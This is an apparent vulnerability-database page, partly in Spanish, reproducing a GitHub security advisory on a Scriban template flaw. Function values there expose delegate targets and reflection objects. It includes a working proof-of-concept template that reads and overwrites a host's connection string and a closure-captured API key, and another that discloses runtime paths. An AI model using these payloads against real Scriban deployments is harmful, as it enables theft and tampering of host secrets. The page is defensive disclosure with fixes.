llamaCVEVulnerability Intelligence
/
Advisory · GitHub · NuGet · Scriban

GHSA-HVR4-4P37-494F

Function values expose their .NET internals: a template can read and write the object (or closure) behind any imported delegate, and reach System.Type/Assembly objects from builtins

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.4
Alta
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición28 dDesde la divulgación, 24 oct 2026, 3:35 a. m.
Detección26 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Esto huele a PoC esperando su momento.Tu yo del futuro te agradecerá revisarla hoy.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 7.5.2
Monitoreo
Detectada +1
24 oct 26
20 nov 26
21 nov 26
24 oct 26
31 oct 26
7 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-HVR4-4P37-494F divulgada · CVSS 7.4 (GitHub)
Remediación Parche 7.5.2 Scriban · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Severity: High — CVSS 3.1 7.4 `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`
- AV:N / PR:N / UI:N: the attacker only needs to submit a template.
- AC:H: the high-impact variant requires the host to have imported a delegate whose `Target` holds state, i.e. `ScriptObject.Import(name, Delegate)` with an instance-method delegate (`new Func<…>(service.Method)`) or a lambda that captures locals. This is the documented way to expose a function (scriptobject.md, "Via `ScriptObject.Import(member, Delegate)`"), and lambdas over services/config are common, but it is a host condition outside the attacker's control. If maintainers consider that configuration the norm, AC:L gives 9.1.
- C:H / I:H: the template gets the delegate target with reflection read and write access to its public properties and fields, and recursively to every object reachable from them (connection strings, API keys, auth flags, service state). Writes persist in the host after `Render` returns.
- Without any host-imported delegate (variant B) the impact is information disclosure only: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (5.3).

Packages: NuGet `Scriban`, `Scriban.Signed`
Affected versions: <= 7.5.1 (verified on 7.5.1 = master `eb8d441`). Earlier versions not checked.
Patched versions: 7.5.2

Description

The safe-runtime docs define the exposure boundary as: "templates can only access the builtin functions plus the objects, members, and functions that your application explicitly exposes". A host that exposes a *function* does not expect the template to receive the object the function is bound to.

`TemplateContext.GetMemberAccessor` (`src/Scriban/TemplateContext.cs` ~L994) returns a reflection `TypedObjectAccessor` for the function wrapper objects themselves. Their public members therefore become template-readable:

  • `DelegateCustomFunction.Target` (`src/Scriban/Runtime/DelegateCustomFunction.cs` ~L39): the delegate's target, i.e. the service instance for an instance method, or the compiler-generated closure (display class) for a lambda. Display-class fields are public, so captured locals are readable and writable.
  • `DynamicCustomFunction.Method` (`src/Scriban/Runtime/DynamicCustomFunction.cs` ~L34, public readonly field): a `MethodInfo`; `ReturnType` (~L178): a `System.Type`; `Tag` (~L183).

Accessing a member on a function variable normally invokes the function, so `fn.target` does not work directly. But `array.map <list> "<member>"` (`src/Scriban/Functions/ArrayFunctions.cs` ~L646) reads the named member on each raw item, so `[@fn] | array.map "target"` returns the raw .NET object. From there, the regular reflected-object rules apply (public getters readable, public setters/fields writable).

Only `ScriptObject.Import(name, Delegate)` (`ScriptObjectExtensions.cs` ~L390) creates a function with a non-null `Target`; `Import(object)` / `Import(Type)` import static methods only. The `Method`/`ReturnType` path works on every builtin.

Proof of concept

A. Host imports two functions and nothing else
using Scriban;
using Scriban.Runtime;

public class GreetingService
{
    public string ConnectionString { get; set; } = "Server=db;Password=hunter2";
    public string Greet(string name) => "Hello " + name;
}

var ctx = new TemplateContext();
var so = new ScriptObject();
var svc = new GreetingService();
so.Import("greet", new Func<string, string>(svc.Greet));
string apiKey = "sk-closure-captured-key";
so.Import("sign", new Func<string, string>(s => s + ":" + apiKey.Length));
ctx.PushGlobal(so);

var result = Template.Parse(text).Render(ctx);
result += $"\n[host after render] svc.ConnectionString={svc.ConnectionString} apiKey={apiKey}";

Template:

{{ greet "bob" }}
svc={{ t = ([@greet] | array.map "target")[0]; t }}
conn={{ t.connection_string }}
write={{ t.connection_string = "Server=evil"; t.connection_string }}
closure={{ c = ([@sign] | array.map "target")[0]; c }}
key={{ c.api_key }}
overwrite={{ c.api_key = "x"; sign "a" }}
method={{ m = ([@string.upcase] | array.map "method")[0]; m.declaring_type.assembly.location }}

Output:

Hello bob
svc=GreetingService
conn=Server=db;Password=hunter2
write=Server=evil
closure=Program+<>c__DisplayClass0_1
key=sk-closure-captured-key
overwrite=a:1
method=<application directory>\Scriban.dll
[host after render] svc.ConnectionString=Server=evil apiKey=x

The service's property was read and overwritten, and the lambda's captured local `apiKey` was read and overwritten in the host.

B. Host exposes nothing
var ctx = new TemplateContext();
ctx.PushGlobal(new ScriptObject());
Template.Parse(text).Render(ctx);
{{ t = ([@string.upcase] | array.map 'return_type')[0]; t.assembly.full_name }}; {{ t.module.fully_qualified_name }}

Output: `System.Private.CoreLib, Version=10.0.0.0, …; C:\Program Files\dotnet\shared\Microsoft.NETCore.App\10.0.13\System.Private.CoreLib.dll`. Same with `@date.now`. The template obtains `System.Type`, `Assembly` and `MethodInfo` objects (install paths, exact runtime version, type enumeration through reflected properties). Methods on these objects are not callable through the accessor; no code execution path was found.

Impact

  • Hosts that import instance-method delegates or capturing lambdas: a template can read secrets held by the target object or closure and every public property reachable from it, and overwrite public properties/fields (including captured locals) in the live host process. Changes persist across renders and, for shared services, across users/tenants.
  • All hosts: a template can reach reflection objects for the runtime and Scriban assemblies, disclosing deployment paths and runtime versions.

Suggested remediation

  • In `GetMemberAccessor`, return an empty accessor (e.g. `NullAccessor`) for `IScriptCustomFunction` instances, so function values expose no members.
  • At minimum, hide `Target`, `Method`, `ReturnType` and `Tag` from template member access (make them non-public, or filter them in the accessor).
  • Review other builtins that read a member by name from raw items (`array.map`, `array.sort`/`array.filter`/`where`-style member arguments) for the same raw-object path.

References: related prior advisories on reflected member access: GHSA-7jvp-hj45-2f2m, GHSA-5wr9-m6jw-xx44.

---
🤖 Generated with Claude Code https://claude.com/claude-code

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
Scriban · Scriban.Signed≤ 7.5.1
7.5.1
7.6.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
nugetScriban
Corregida 7.5.2 0 d 7.6.1 no afectada
nugetScriban.Signed
Corregida 7.5.2 0 d 7.6.1 no afectada
Versiones corregidas7.5.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/scriban/scriban/security/advisories/GHSA-hvr4-4p37-494f

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.